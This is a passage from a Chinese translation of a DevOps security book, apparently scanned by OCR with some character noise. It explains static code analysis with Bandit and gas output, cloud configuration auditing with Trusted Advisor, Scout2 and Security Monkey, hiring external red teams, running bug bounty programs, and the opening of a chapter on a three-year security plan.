出已知的问题和漏洞。这种方法被称为静态代码分析,并可以在应用生命周期的早 

期捕获编程错误。

静态代码分析（有时称为linting）这种技术会读取源代码,并解析程序中的抽 

象语法树（AST, Abstract Syntax Tree）,然后对语法树中每个节点进行检查,找岀 

特定的错误模式。这些模式可以是任何内容，既包括缺少描述函数用途的注释，也 

包括对SQL注入或不安全的加密函数的检查。

大多数现代语言都有自己的静态代码分析工具,这些工具配置很灵活，性能也不 

错。JavaScript 有 ESLint （链接 12.7）, Python 有 Bandit （链接 12.8）, Java 和 C/C++ 的 

工具更多（链接12.9）,而Go的gas （链接12.10）也在逐步完善中。通过重用开发 

者社区创建的规则或者继承其他组织的最佳实践，可以快速使用这些工具。

代码清单12.1展示了对Kinto （链接12.11）运行Bandit工具的示例。Kinto是 

ー个用Python编写的文档存储。Bandit工具指向应用的源代码，会进ー步分析其中 
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的潜在问题。这个过程的背后原理是：Bandit读取Kinto的全部Python代码,并使 

用自带的预先配置的测试来分析每个代码块中的潜在问题。

代码清单12.1 Kinto的源代码分析发现了潜在的安全问题

$ bandit -r
[main] 
[main] 
[main] 
[main] 
[main]

INFO 
INFO 
INFO 
INFO
INFO

src/github.com/Kinto/kinto 
profile include tests： None 
profile exclude tests： None 
cli include tests： None 
cli exclude tests： None 
running on Python 2.7.12

］对Kinto的源代码调用bandit 
I扫描。

155 [0.. 50.. 100.. 150..]
Run started:2017-07-04 21:55:56.756019

Test results：

发现了由于使用subprocess包 
而造成的低风险问题。

>> Issue： [B404：blacklist] Consider possible security 
implications associated with subprocess module.
Severity： Low Confidence： High
Location： kinto/plugins/admin/release_hook.py：9

8

9 import subprocess
10 发现了使用mktemp()函数造成
1I 的中等影响的问题。
12 def after_checkout(data)：

>> Issue： [B306：blacklist] Use of insecure and deprecated 
function (mktemp).
Severity： Medium Confidence： High
Location： kinto/tests/test_config.py：16

15 template = "kinto.tpl”
16 dest = tempfile.mktemp()
17 config.render_template(template, dest,

扫描发现了几百个问题,代码清单没有全部展示出来，只截取了一个低风险 

的问题和一个中等风险的问题,但是这足以清楚地说明静态代码分析能发现的问 

题类型:

,第一个问题是由于Kinto使用了 subprocess包,在某些情况下,在运行应 

用的系统上执行任意命令可能会造成安全风险。

•第二个问题是由于在Kinto的单元测试中使用了 mktemp函数而引起的。如 

果知道此函数存在安全问题,就应该使用mkstemp。

对所发现的问题的进ー步分析可能表明,两者都无关紧要,但是Bandit通过对 

源代码的扫描是无法了解并正确指出这一点的。静态代码分析容易出现误报,因为 

这些工具在扫描代码时不了解整个应用的生态系统。在将静态代码分析返回的结果 

划分为漏洞之前,一定要有人对其进行分拣。
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使用Go的gas去扫描发票应用的源代码会得到类似的结果,其中显示了应用 

可能遇到的三个潜在错误。

代码清单12.2 Go AST的“gas”扫描器对发票应用源代码的评估

[logging.go：21] - Errors unhandled. (Confidence： HIGH, Severity： LOW) 
> msg, _ ：= json.Marshal(al)

[logging.go：35] - Errors unhandled. (Confidence： HIGH, Severity： LOW) 
> msg, _ ：= json.Marshal(al)

[main.go：133] - Errors unhandled. （Confidence： HIGH, Severity： LOW）
> id, _ ： = strconv.Atoi （vars [**id"]）

Summary：

Files ： 5
Lines： 518
Nosec： 0
Issues： 3

大多数源代码分析工具都接受配置文件，可以包括或排除特定的测试。 

JavaScript的ESLint提供了一个复杂的测试配置示例，让整个测试逻辑及特定测 

试的集成都可以定制。例如，Firefbx非常依赖ESLint,浏览器中包含的大部分 

JavaScript代码都要使用它来测试和验证（不仅为了安全性,还为了风格和可读性）。 

这些测试的源代码可以在Mozilla的代码库（链接12.12）中找到，你可以按照文档 

（链接12.13）自己运行它们,但是别在忙得不可开交的时候试验,因为这些测试需 

要几分钟才能完成！

有时,规模不大的应用的静态代码分析可以放在CI/CD流水线中运行。你需要 

根据环境和最佳实践来定制测试逻辑,这是安全人员和开发人员的一次绝佳的合作 

机会。我发现安全团队在这种方法上的投入能得到很好的回报,原因如下:

• 第一点也是最重要的一点，源代码分析降低了应用中的漏洞风险。

• 定义编码标准并强制执行,这能帮助开发人员编写可重复的、更干净的代码。 

这使得所有和安全相关的工作，如人工检查，都变得容易得多，而且提高了 

组织的生产カ。

• 与开发人员ー起编写源代码分析规则,将有助于在组织中创造积极的互动。这 

将迫使安全工程师理解并参与到应用的开发中，这有助于打破团队之间的隔阂。

源代码分析的缺点是，需要强大的领域内的知识才能有效地实现。如果不知道 

如何编码,就无法实现它。在理想情况下,管理测试平台的安全工程师也是可靠的 

开发人员，他们能够理解并修正工具中的问题。如果做不到这一点，他们就有可能 

不停地向开发团队发送误报，这很快就会惹恼开发团队。
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接下来，我们把重点从应用转移到基础设施上,来结束我们对内部安全测试的 

讨论。由于我们严重依赖云提供商,但是在基础设施上可能会有一些不同。

12.2.4审计云基础设施
在云计算和laaS出现之前，基础设施的安全性测试是安全团队最重要的任务。 

那时,数据中心网络被NMAP （链接12.14）、OpenVAS （链接12.15）和Nessus （链 

接12.16）这样的发现工具或漏洞扫描器平台日复一日地调查。这些工具有助于解 

决库存和审计问题：数据中心凌乱不堪，对其中运行的内容每个人都没有清晰的和 

最新的理解。通过持续不断地发现，安全团队常常对网络有最准确的认知，他们据 

此来确保所有防火墙都得到了正确配置，并且网络中没有活跃的异常系统。

当基础设施迁移到云上时，情况发生了变化。没有谁会在AWS中运行NMAP。 

其中一个原因是，AWS出于对网络崩溃的担忧而禁止运行NMAPo但主要原因是， 

当网络和系统管理转移到云提供商后，与库存相关的问题完全不存在了。想知道有 

多少系统属于对互联网开放的安全组，用AWS API执行ー次查询,并解析其输出就 

知道了,甚至连ー个网络包都不用发送。在云环境中，审计基础设施的安全性更多 

的是验证其配置，而不是积极地测试这些服务。

在AWS中验证的内容示例如下:

・ 通过查看安全组配置，验证基础设施中的防火墙规则。

• 通过检查基础镜像（AML Amazon Machine Image）的版本,验证系统是最新的。

• 通过审计IAM角色，验证基础设施授予运维人员的权限控制。

・ 通过查看RDS实例配置,验证数据库得到了适当的备份。

如果使用传统的基础设施，所有这些审计步骤都需要对系统配置进行深入地检 

查。在云上，这些步骤只需要几次API调用和JSON数据解析即可。这有利于提升 

安全性，因为它极大地简化了安全团队的工作。事实上,已经有很多工具可以审计 

云提供商（如AWS）的配置了。

Trusted Advisor
Trusted Advisor是Amazon提供的审计工具。可以在AWS的Web控制台中访问， 

检査指定账户中的所有资源，包括成本、性能、安全性和容错问题。它不是专门针 

对安全性的，但是它的许多发现对AWS基础设施中管理的数据的机密性、完整性 

和可用性有影响。

ー些Trusted Advisor的复杂检查需要高级支持计划，所以只有在免费套餐的账 

户上测试时，才可能会无法访问所有功能。不过，对基础设施安全性的审计来说, 

即使是免费套餐返回的有限的数据,也是一个不错的开始。
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图12.7显示了在ー个正常的AWS账户中，Trusted Advisor返回的ー些信息。 

每ー项未通过的安全性检查都列在结果的顶部,并详细说明了故障和受影响的资源。 

在这个例子中,可以看到的问题有CloudFront中的TLS证书、配置不正确的负载平 

衡器、3个多月没有刷新的访问密钥，以及向全世界开放的安全组。

Security 。土。
Q 9Q 3A 50

Filter by tag View

Apply filter All checks

Refreshed： 6 ownufes ago 士 。

Security Checks

レ ❶ CloudFront Custom SSL Certificates In the 1AM Certificate Store

Checks the SSL certificates for CloudFronl alternate domain names in the I AM certificate store and alerts you tf the certificate is expired, 
will soon expire, uses outdated encryption, or Is not configured correctly for the distribution.

2 of 11 custom SSL certificates are expired, will $oon expire, or are incorrectly configured

► ❶ ELB Listener Security Rafrvshod 2 nUnutas ago 土 。

Checks tor load balancers wrth listeners that do not use recommended security configurations for enctypted communication 

73 of 128 load balancers have listeners that do not use recommended security conftgurations

レ U 1AM Access Key Rotation Relmshed： 6 minutes ago 土 。

Checks for active I AM access keys that have not been rotated In the last 90 days 

102 of 107 active access keys have not been rotated In the last 90 days.

レ ❶ Security Groups - Specific Ports Unrestricted Refreshed： 6 minutes ago 土 C

Checks security groups for rules that allow unrestricted access （0.0.0.0/0） to specific ports

图12.7 AWS Trusted Advisor检查指定账户中的资源是否存在安全问题和配置错误。

Trusted Advisor提供了向AWS推荐的最佳实践的良好概括，安全团队应该将它 

作为研究加固基础设施的第一步。

Scout2
Scout2是NCC Group创建的安全审计工具，它可以对AWS账户的配置进行详 

细分析（链接12.17）。它和Trusted Advisor类似，但更加深入，而且它可以通过自 

定义规则进行配置。

Scout2是一个Python应用，可以使用命令pip install awsscout2安装。 

它需要AWS账户中的大部分资源的只读权限。还好,它的开发人员维护了一个管 

理这些权限的［AM角色,你可以用它创建一个专用的AWS配置（链接12.18）。配 
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置在创建之后，使用下面的命令执行审计：

Scout2 --profile securingdevops-aws-scout2

在这条命令的背后发生的是:Scout2调用数以千计的API来获取账户的配置, 

并根据ー组预先定义的规则对配置进行分析。在结束之后,它将在浏览器中输岀ー 

个Web页面,其中包含结果的摘要,如图12.8所示。红色（图中显示为深灰色） 

表示潜在的安全问题,黄色（图中显示为浅灰色）表示警告。每个被检查的服务 

（CIoudFormation, CloudTraiR EC2»等等）都有自己的摘要页面，其中Scout2执行 

的每一项测试都展示了结果状态（也是红色、黄色或绿色,绿色在图中显示为中灰 

色）。

髙风险问题通常是红色、 低风险问题（绿色）

图12.8 Scout2创建的报告摘要展示了大量AWS服务中的潜在问题。

你可以继续点击每ー项测试,看到特定故障的详细信息。例如,图12.9展示了 

ー个失败的EC2测试的细节,其原因是ー个安全组中的PostgreSQL端口开放给了 

互联网。
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图12.9关于PostgreSQL数据库被开放给互联网的Scout2报告的详细信息。

与大多数工具ー样,Scout2的报告中有许多误报,因此安全团队应该始终在发 

出警报之前验证这些发现。尽管会岀现误报,但是Scout2对AWS账户执行的测试 

数量仍然令人印象深刻。每一个使用AWS的安全团队都应该不定期地执行Scout2, 
花一些时间修正发现的问题或者把这些问题加入白名单中。

更进ー步说，编写自定义测试来寻找某个特定组织中特有的配置是有好处的。 

Scout2和来自Netflix的Security Monkey (我们接下来要讨论的)都支持可配置测试。

Security Monkey
Netflix是第一批将关键的基础设施迁移到云提供商的大公司之一。多年来，它 

们通过记录运维技术的文档,以及发布自己编写的开源工具，引领着DevOps的发展。

Security Monkey就是这些工具中的ー员,它专门用于保障Netflix的基础设施 

安全，最初用在AWS上，后来扩展到了 GCP (Google Cloud Platform)〇它的操作 

类似于Trusted Advisor和Scout2,即从基础设施那里获取配置，将它们与一组预先 

定义的合规性测试进行比较。测试在该平台内自动运行,并在遇到违规时发送告警。 

该平台还提供了控制测试和查看结果的Web界面，如图12.10所示。

显然，Seeurity Monkey是目前讨论过的三个工具中最复杂的ー个。Trusted 
Advisor和Scout2只需要几分钟就可以设置和运行,与它们不同，想有效地使用 

Security Monkey就需要更多的投入。成熟的特性集、对AWS和GCP的支持及庞大 

的用户社区，对于那些简单工具不能满足需要而希望拥有完整的合规性检查基础设 

施的组织来说，它提供了一个很棒的安全测试平台。
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图12.10 Security Monkey的Web界面显示了 AWS账户中发现的问题（链接12.19）。

这只是对用于检查云基础设施安全性工具的一次快速检阅。在你读到这几页时, 

会有更多工具涌现出来。与其关注特定的工具，不如关注测试方法，在云基础设施中, 

测试方法更注重对配置的验证,而不是向服务器发送网络数据包。

Web应用漏洞扫描、模糊测试、静态代码分析和云基础设施安全性测试可能会 

让团队忙很久，但总会有需要外部帮助的时候,如审查特定的组件,或是用新技术 

更新每个人的知识。在下ー节，我们将讨论如何有效地与外部安全公司（即红军） 

合作。

12.3红军和外部渗透测试
在Web应用表单中注入恶意HTML,在SVG图像中构造逻辑炸弹,或者绕 

过Web应用防火墙,你是否熟悉这些方法?你知道将SQL查询注入到HTTP标头 

中的最新技术吗?你是否研究过在云提供商Y的产品X中发现的最新安全问题? 

我反正是不清楚的。

蓝军专注于坚守他们的防线，这是ー项全职工作。我们需要考虑如何保护组织 

中每个角落的安全，这需要大量的工作。我们很少有时间深入研究关于精确的攻击 

向量的具体细节。

而红军正好相反，他们专注于突破组织防线。他们不必担心如何保护整个基础 

设施;他们唯一的目标是在网络的ー个小角落里找到ー个可以攻破组织的漏洞。攻 

入基础设施需要的一套技能和保护它们的技能完全不同，雇用红军来审计组织通常 

比自己去做得到的结果要好。
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在本节，我们将讨论如何雇用外部安全公司并有效地使用它们的服务。

征求建议书

雇用红军的第一步是撰写征求建议书（RFP , Request For Proposal）.它将被发 

送给不同的组织。RFP的目标是描述要做的工作，并要求这些外部公司将他们的建 

议连同财务报价及团队的详细信息ー起提交。

在RFP中,最重要的部分可能是工作范围，这要求内部安全团队投入时间去准 

确地描述将要进行测试的内容。要求对完整的基础设施及其所有服务进行审计是不 

切实际的（除非组织非常小）。全面铺开的审计最终会耗费大量的时间和资源，得 

到的结果却不尽如人意。你需要的是和特定组件安全性有关的,并有针对性的和可 

执行的数据,将工作限制在一个小范围内可以更好地获得这些数据。

我们在Mozilla执行这项工作时,审计聚焦于特定的Firefox服务。我们从 

Firefox Accounts服务开始，然后是Add-ons网站，等等。对于每ー个服务，工作范 

围都是按如下方式描述的:

«基础设施的哪些部分会被包括在内。

• 应用源代码存放的位置。

• 范围内的公开服务的地址。

• 超出范围的具体的领域清单。

安全团队与每个服务的工程团队直接合作一起定义范围,确保在将RFP发送给 

外部公司之前，每个人都参与其中。如果没有开发人员和运维人员的帮助，安全团 

队就无法有效地执行审计,在流程一开始就让他们参与进来，这对于确保审计的成 

功非常关键。

RFP还必须包含要测试的服务的背景信息,包括组织关注的主要风险。RFP中 

包含的信息越多，安全公司提交的建议就越好。但是你应该排除任何有可能的敏感 

信息，因为在不需要外部公司保密协议的情况下,RFP更容易发送到组织之外。

你还需要包括:选择标准（你正在寻找的是哪种审计,是技术上的还是组织上 

的,等等）,你希望每家公司提供的文档（审计人员简介、先前的参考资料或是保险）, 

建议书必须发送的时间表，以及联系信息。ー份典型的RFP目录如下所示。

背景及项目目标：

1 .工作范围。

2 .选择标准。

3 .需要提交的文档。

4 .时间表。

5 .联系人信息。
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RFP只需要五到六项就可以了。用不着写一本关于公司的小说,因为很可能不 

会有人看。保持简练,并重点描述想从审计中得到什么.

如果你有法律团队,你也应该让他们参与到RFP的执行中来。大多数组织都 

有预先定义好的语言，并希望在每ー份RFP中都包含这些语言,以明确文档是非 

绑定的，并且只有一个可能会产生进ー步雇佣关系的需求。如果你不确定如何处理 

RFP.请咨询你的律师。

接下来的挑战是寻找有意向的安全公司。在几年前,这还很困难，但现在你可 

以使用社交媒体来宣传RFPo图12.11是我在启动Firefox Accounts审计的RFP时发 

布的推文。推文很快就被传到了感兴趣的各个公司中,在不到ー周的时间里,我们 

就与十几家安全公司取得了联系。

•科ー Julien Vehent 
@jvehent

We're running a RFP to audit the security of 
Firefox Accounts. Got the pentest/crypto 
skills? Email me at jvehent[at]
7:33 AM - 11 May 2016

23 Retweets 8 Likes 妊年. と 星车" . 暮勲 £

。3 ロ 23 。8 |||

图 12.11 通过 Twitter 发布 Firefox Accounts 审计的 RFP 广告。

你还可以在互联网上寻找声誉良好的安全公司,或者在OWASP和SANS邮件 

列表中询问其他组织的建议。人们通常乐于帮助新来的人建立联系。

你是否应该公开RFP并等待提案?要是想减少垃圾邮件，也许不应该公开。你 

至少要确保申请的公司有合适的组织结构和保险。许多过于乐观的安全研究人员试 

图申请这些类型的审计，但却没有必要的组织结构来执行它们。针对这些情况,我 

们可以使用Bug赏金计划,本章稍后会讨论。

在RFP发出后的几周内，你将开始收到提案，而且必须决定与哪家公司签约。 

每个提案都是不同的。钱是ー个重要的因素,但并不是唯一因素。在评估提案时应 

该考虑如下范畴：

・审计的费用和持续的时间。
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• 团队的规模。

・ 审计代码的能力。

• 执行社会工程攻击的能力。

»测试基础设施的能力。

• 测试应用的能力(及解决所使用的编程语言中常见问题的特定经验)。

• 以前审查类似申请的参考意见。

• 来自知名/受信组织的推荐意见。

你选择的公司的工作方式也要加以考虑。例如,对银行或政府机构执行安全审 

计的方式可能就与硅谷初创企业的合作大不相同。

不要犹豫，去面试名单上的候选人,无论是面谈、电话,还是电子邮件。要确 

保你能与团队顺畅地沟通并且达成一致,然后再雇用他们。

工作说明书(SOW)
一旦选好了要合作的公司，你需要申请ー份工作声明(SOW, Statement Of 

Work),清楚地列出外部公司要执行的工作。这份文档会驱动审计。你要测试的所 

有内容都必须在SOW中明确地列出，以及时间表、交付件和费用。

在一般情况下，SOW是稍稍调整过的提案副本，这些调整经过了双方的同意。 

你应该再次确保法律团队审查过文档中的语言。

尤其要注意这份文档中的交付件。大多数审计的结果都是安全公司生成的最终 

报告，接受该报告就意味着终止合同并触发最后的付款,通常会在90天内完成。你 

可能还想得到中间进度的报告,或者要求发现的每个漏洞都必须在48小时内报告 

给你。这让你的组织和外部公司之间的承诺更加灵活,给你提供了一种能在过程中 

评论和指导审计的方法，从而提高审计的质量。

当双方就SOW的措辞达成一致后，就可以签字并选择启动日期了。

审计

审计有不同的类型。一些组织希望外部公司在完全保密的情况下运作，表现得 

就和一个恶意角色ー样。另ー些组织则希望与红军持续沟通,在迷宫般的服务中为 

他们提供指导。这两种方法都是可行的，但是产生的结果却不一样。

对于内部服务的定期审计来说，我一般更倾向于第二种方法，尽可能多地指导 

红军，让他们能够专注于没人注意到的黑暗角落。这意味着要尽早打通沟通渠道， 

这样红军就能够随时咨询开发人员、运维人员和安全团队。

可能还要为红军提供一个测试环境，这样他们就不会破坏生产环境的基础设施 

了。如果遵循了正确的DevOps实践，这应该很简单，通过自动化部署创建一个新 

的环境就可以了。
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至少有一名开发人员和一名安全团队成员应该跟踪整个审计的过程。当红军发 

现漏洞时,你希望有可用的资源来快速修补生产环境上的问题。不要等到审计结束, 

并且在报告写好后オ开始计划消除的步骤,你应该提前做好最坏的打算。

沟通结果

执行安全审计是很大的ー笔开销。支付给外部公司成千上万的美元，再加上自 

己员エ花费的时间,最终的账单会消耗安全团队的一大部分预算。充分利用这种投 

入是很重要的，而交流结果是其中的关键部分。

首先,你应该在内部进行沟通，让每个人都知道安全审计的计划（除非需要刻 

意保密）。然后，当结果陆续出现时,你应该确保工程团队知道它们,并检查自己 

的服务是否有类似的情况发生。

最后，你应该准备一份摘要,在合同完成后发送出去，解释审计的对象和发现 

的问题。确保审计在内部得了充分的沟通，这将有助于各个层级的人员能更好地理 

解组织的安全形势,并且营造岀人人都关心安全的文化。

那么报告需要公开披露吗?这有点棘手。安全审计报告的内容都是敏感的，因 

为它们通常包含现存漏洞的详细信息，以及对基础设施质量的评估。在大多数情况 

下,高层管理人员希望将这些文件锁在保险柜里，让它们远离公众视线,以免损害 

组织的声誉。我认为这是ー个错误的做法。

作为ー个组织，如果对安全投入有足够的信心，并且发布了报告,这就是发出 

了一个强有力的信息:面对客户,你是在认真地对待他们的安全，并且愿意投入时 

间和金钱来确保他们的数据安全。以正确态度对待安全审计,它可以成为ー个强大 

的营销工具。

外部审计为组织提供了强大而昂贵的学习经验。尽可能充分利用它们，并确保 

它们能够提升安全性并改进工程,而不是仅仅局限在需要审查的特定的几个区域范 

围内。

雇用第三方很复杂，因此这种类型的审计一年到头也很难执行几次,这不足以 

保证整个基础设施的安全。另一种邀请组织之外的人员来测试安全性的方法是Bug 
赏金计划，接下来，我们将讨论这个问题。

12.4 Bug赏金计划

早在1995年,Netscape的一位技术支持工程师Jarrett Ridlinghafer就注意到， 

当时这个革命性的网络浏览器的一些最热心的用户也在寻找和修复产品中的问题， 

但是并没有任何人要求他们这么做。这些高级用户会把解决方案公布出来,让其他 

人也能够修复他们自己的问题。
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Ridlinghafer意识到，这些与Netscape没有任何关系的用户正在积极地改进浏 

览器，他决定制订一个计划来鼓励和奖励这种行为。1995年,Netscape的Bug赏金 

计划诞生了,这是同类项目的鼻祖，最初的预算是5万美元（链接12.20）。

时至今日，Bug赏金计划在大型软件组织中是相当常见的,而且它是健康的安 

全实践的标志。Mozilla、GoogleMicrosoft和Facebook,甚至连汽车公司Tesla都 

设置了 Bug赏金计划,奖励那些负责向组织报告问题的安全研究人员。

负责任的披露

术语负责任的披露在信息安全领域具有特殊的意义。它指的是在发现安全问题 

后，并在向公众发布信息之前,给组织ー个宽限期来修补问题并保证用户的安全 、

安全研究人员在负责任的披露的价值上存在分歧。ー些人支持立即披露，将 

其作为迫使组织立即修复问题的一种方式,因为怀有恶意的研究人员也可能发现 

这些漏洞，并迅速地利用这些漏洞。另ー些人则支持让组织来决定是否披露,他 

们自己则完全不会披露问题。

大多数研究人员持中间立场，他们支持负责任的披露的想法,并且首次告知 

后最长宽限期通常是90天。

要在组织中设置Bug赏金计划，需要四个组成部分：

 具有安全意识的工程团队,随时准备接收和分析对产品安全性的反馈 。

• ー套报告系统,例如问题跟踪系统，研究人员可以在该系统中记录问题，并 

跟踪止损的进展及验证修复。

• ー笔预算,用于支付研究人员报告的每一个有效问题。

・ 计划覆盖的网站、服务和产品范围。这个范围可以是组织的全部组件，但是 

ー开始应该先关注核心组件。

在大多数情况下，启动Bug赏金计划要比想象得容易。为了经济利益,安全研 

究人员一般都善于找到破解目标的联系信息。在公司网站首页的底部放上“报告安 

全问题”的链接,通常就可以开始接收报告了。还可以使用Bug赏金计划管理服务, 

例如 HackerOne、BugCrowd> CrowdShield 及 BountyFactory ,它们于 2015 年左右 

出现（在读到本书时,肯定还会出现许多其他的服务）。

随着组织的发展壮大，报告的数量最终也会增长，安全团队将不得不花费越来 

越多的时间来验证和跟踪它们（在Mozilla, Web的Bug赏金计划得到的报告多到需 

要5个工程师来分类和验证，一周内每人负责一天）.成熟的计划包括:复杂的问题 
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跟踪、展示活跃的研究人员姓名的名人堂（HoF, Hall of Fame），加码的酬金，有 

时关键漏洞甚至可以达到10000美元!

尽可能透明通常是ー个好办法。研究人员喜欢提前知道指定的目标是否值得他 

们花费时间和精力,研究人员不喜欢花两天的时间寻找ー个漏洞而只能得到100美 

元的酬劳。只要可能，提前公布支付比例和参与规则（图12.12展示了 Mozilla Bug 
赏金计划的酬金等级，链接12.21）。

图12.12 Moz川a Bug赏金计划（截至2018年3月）的酬劳金额是公开的，目的是鼓励研究人 
员提交漏洞（注意HoF的意思是名人堂，不包括经济奖励）。

Payouts
Bug Classification Critical sites Core sites Other Mozilla sites1

Remote Code Execution $5000 $2500 $500

Authentication Bypass2 $3000 $1500 HoF

SQL Injection $3000 $1500 HoF

CSRF3 $2500 $1000 —

XSS4 $2500 $1000 HoF

XXE $2500 $1000 HoF

Domain Takeovers $2500 $1000 $250/$ 1005

XSS (minor) $1000 $500 HoF

XSS (blocked by CSP) $500 HoF —

Clickjacking6 $500 $250 —

Open Redirects HoF HoF HoF/-5

Bug赏金计划没什么缺点。漏洞会被发现，而研究人员无论有没有酬劳都会挑 

战你的安全。不管怎样,如果没有赏金计划,ー些研究人员可能会立即披露问题 ， 

而不是将问题报告给你的组织。

如果运行了 Bug赏金计划，确保一定要事必躬亲。提交的漏洞石沉大海，数周 

内得不到任何消息，没有什么比这更让ー个研究人员感觉糟糕了。最后的结果往往 

是沮丧的研究人员在博客上对你的组织ロ诛笔伐，这很快就会变成负面报道。Bug 
赏金计划还提供了一个机会，与技艺精湛的渗透测试人员进行社区合作,他们愿意 

用少量的钱帮助你监控基础设施。好好和他们合作，尊重他们的时间和自尊。



356 12测试安全性

12.5 本章小结

• 深入的安全性测试是组织发现隐藏在应用、系统和基础设施内部的问题的手 

段。

• Web应用扫描器可以检查岀大量应用的漏洞。

• 模糊测试是将无效的和变形的输入注入程序的界面以触发漏洞的过程。

• 静态代码分析是ー种技术，通过它可以对程序的源代码进行分析，而无须执 

行程序就可以找出已知问题。

・ 通过评估云基础设施的配置，不用扫描网络和系统就可以对云基础设施进行 

全面的审计。

・ 红军和外部渗透测试为组织带来了新的安全视角，还可以提升DevOps团队 

的技能。

• Bug赏金计划提供了一种简单的方法,奖励在应用和服务中发现问题的外部 

研究人员。



本章内容包括

■ 用三年策略实现持续安全

■ 改善安全团队、开发团队和运维团队的合作

・ 时刻保持组织风险曝光的意识

・ 通过交流和培训提高安全性

“生活对我们任何人来说都不容易。但是那又有什么关系呢？我们应该有恒心， 

尤其是要有信心我们必须相信我们的天赋是用来做某种事情的,无论代价多么大， 

这种事情必须做到。”

——居里夫人

我们已经来到了 DevOps保障之旅的终点，在过去的十二章里,我们已经介绍 

了很多内容。如果你一口气读完这本书，可能会被其中涵盖的大量信息、技术和知 

识所淹没。安全领域涉及的内容包罗万象,你可能很容易迷失在无数的知识领域之 

中，而这些都是安全工程师为了确保组织安全所必须掌握的。

最后一章我们暂且放下技术，花些时间讨论ー下DevOps保障的方法，帮助你取 

得进步,继续前进。我们将回顾第I章中介绍的持续安全模型，用10000小时定律 

（由 Malcolm Gladwell 于 2008 年在 Little, Brown and Company 出版的 Qutliers. The 

びリSuccessー书中提出，链接13.1）说明实践和反复练习的重要性。然后，我 

们将讨论安全团队应该关注的四个领域:保持风险意识，与工程师合作解决问题， 

与同事交流并为他们提供培训,以及在组织中建立信任。
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13.1 实践并反复练习:10000小时安全性
正如居里夫人所说,通往成功的道路一定布满了荆棘,而恒心和信心是安全エ 

程师的重要品质。我“忘了”在本书开头说明一个事实:在任何组织中,实现全面 

的安全方案都需要数年不懈的工作。确切的年限取决于组织的规模和复杂性，而组 

织对安全的承诺（包括财务和文化两个方面）也许オ是更加重要的决定因素。

假设ー套安全方案需要10000小时才能完成从无到有的建设,如果你是公司里 

唯一从事安全工作的人,这就相当于整整五年的工作量（在美国,一年的工作时间 

通常在2000小时左右;而在法国,差不多是1500小时）。如果有两个人全职从事 

安全工作，那么差不多需要三年时间来实施ー个全面的方案。

如果你加入一个组织并且要白手起家去建设该组织的安全方案，你会先从哪里 

入手？你可以从图13.!给出的原创持续安全模型中找出答案，这个模型从第I章就 

开始反复出现。假设实现整个方案需要三年时间,你应该按如下步骤来实施:

• 第一年:重点保障DevOps流水线的安全并实施测试驱动安全。

• 第二年:加大在欺诈检测和事件响应上的投入。

• 第三年：整合风险管理和外部安全测试。

在每一年,当你的职责范围里增加了新的事项时，你要逐渐把时间分配到每个 

领域中，其目标是每个领域最终都能得到三分之一的资源。

我们来看看这份三年计划应该如何实施。

客户使用应用并提出影响未来改进的反馈。

图13.1在组织中实施完整的持续安全模型需要数年的时间。在三个领域中各投入一年是一个不 
错的计划。
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13.2 第一年:将安全整合到DevOps中

实施安全方案的第一年,第1部分中讨论过的技术要素是我们关注的重点。要 

深入细节,了解组织采用的Web应用的结构、部署工具、CI/CD流水线及基础设施。 

通过练习掌握这些工具的使用,直到有信心能和开发人员及运维人员讨论工程上的 

问题，而不用不断地询问他们事情是如何完成的。作为一名安全工程师，你要尽可 

能自主操纵DevOps流水线，要提出最准确的建议，还要能解决系统核心的问题。

我曾经与其他组织的一位安全工程师讨论过Web应用防火墙(WAF, Web- 
Application Firewall)的价值。他的观点是,WAF能让他的团队发现并保护组织网 

站上的漏洞，而这些漏洞是开发人员留下的，这一点无法避免。他的团队在WAF 
上投入了大量的时间和精力，而WAF作为安全基础设施的核心，保护着每个网站, 

检查着每ー个请求和响应，并阻挡着攻击。

我问他,如果把安全工程的时间花在编写网站自身的补丁上，这样就不再需要 

WAF 了，是不是会更好。“不可能,”他回答道，“开发人员不关心安全，也没有兴 

趣修复这些Bug。这就是为什么我们要如此重视WAF的原因!”

你可能认为这是安全团队与工程团队相互脱节的ー个极端例子，但是这样的负 

面交互十分常见，不管我们是否愿意承认。这是ー个互相不信任、不合作的团队的 

最糟糕的例子。问题本应该在应用中被直接解决，而最终的结果却是徒增了复杂性 

(WAF)o同时,业务也会受到影响，因为额外的复杂性会增加维护成本并造成产品 

延迟交付。更重要的是,组织中的每个人都会感到沮丧，这又不可避免地导致了糟 

糕的代码和糟糕的安全性。

注意Web应用防火墻在安全基础设施中拥有一席之地,特别是在保护那些无 

法修改的产品时.但它们应该是安全问题的最后防线，而非默认的解决方案

在第一年，你应当全力投入对工程问题的治理，并与组织的开发人员和运维人 

员协作，这样就能防止这种文化的脱节，并且有助于将安全性直接内建到产品中 ， 

而不是游离在产品之外。你将收获这些同事的信任,并且能确保你构建的安全方案 

可成为组织的软件开发生命周期中不可或缺的一部分 。

你可以从下面这份清单开始着手：

・ 开发ー个小型应用并部署它，借助这个过程了解CI/CD流水线、基础设施和 

编码标准之间是如何配合的。不要随意给出结论,保持求知欲和开放的心态。

• 使用现有的扫描工具(如ZAP或NMAP)对组织进行一次大范围扫描。

• 向开发人员和运维人员咨询：他们认为可能岀问题的地方，以及他们期望安 

全团队可以帮他们做些什么。他们会很高兴参与到安全工作中来,并贡献出
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高质量的数据。

• 审记如何处理髙价值的目标，包括密钥、凭证、敏感数据库,等等。你可能 

会发现ー些需要注意的地方,这是ー个不错的切入点。

・ 寻找可能没有得到充分保护的，并拥有特权的访问点,比如管理面板和SSH 
堡垒机。

• 现在还不需要处理日志,但至少要确保日志是可用的。将Web访问日志、系 

统日志和应用日志归档并存放到ー个安全的地方。

也许正确的提问可以让你积累一年的工作价值。参考我们在第1部分中介绍的 

四个安全层级，并开始实现安全控制。

・ 安全层级-----保护Web应用。

• 安全层级ニ——保护云基础设施。

• 安全层级三---保护通信。

• 安全层级四---保护交付流水线。

与工程团队紧密合作,你很快就会成为组织中不可或缺的ー员。

13.2. 1不要过早下结论

无论如何,一定要避免许多安全顾问都会犯的错误，那就是在还没有理解ー个 

组织的文化之前就轻易下结论。你应该做好思想准备,安全性并非完美，还有大量 

需要根本性转变的地方，甚至很可能还会将组织置于髙风险之中。这是不可取的， 

但却很正常,你的职责是解决这些问题，而不是指责别人或寻找替罪羊。以专业的 

态度报告你的发现，让高层管理人员自己判断并做出决策。在大多数情况下，这些 

问题是由于有限的工程时间所导致的，而并非出于恶意。

在少数情况下,你可能要直面一些对立的同事，他们拒绝变化和安全建议，这 

时你要集中精力收集关于风险和漏洞的数据,做出准确的报告,并让负责人做出正 

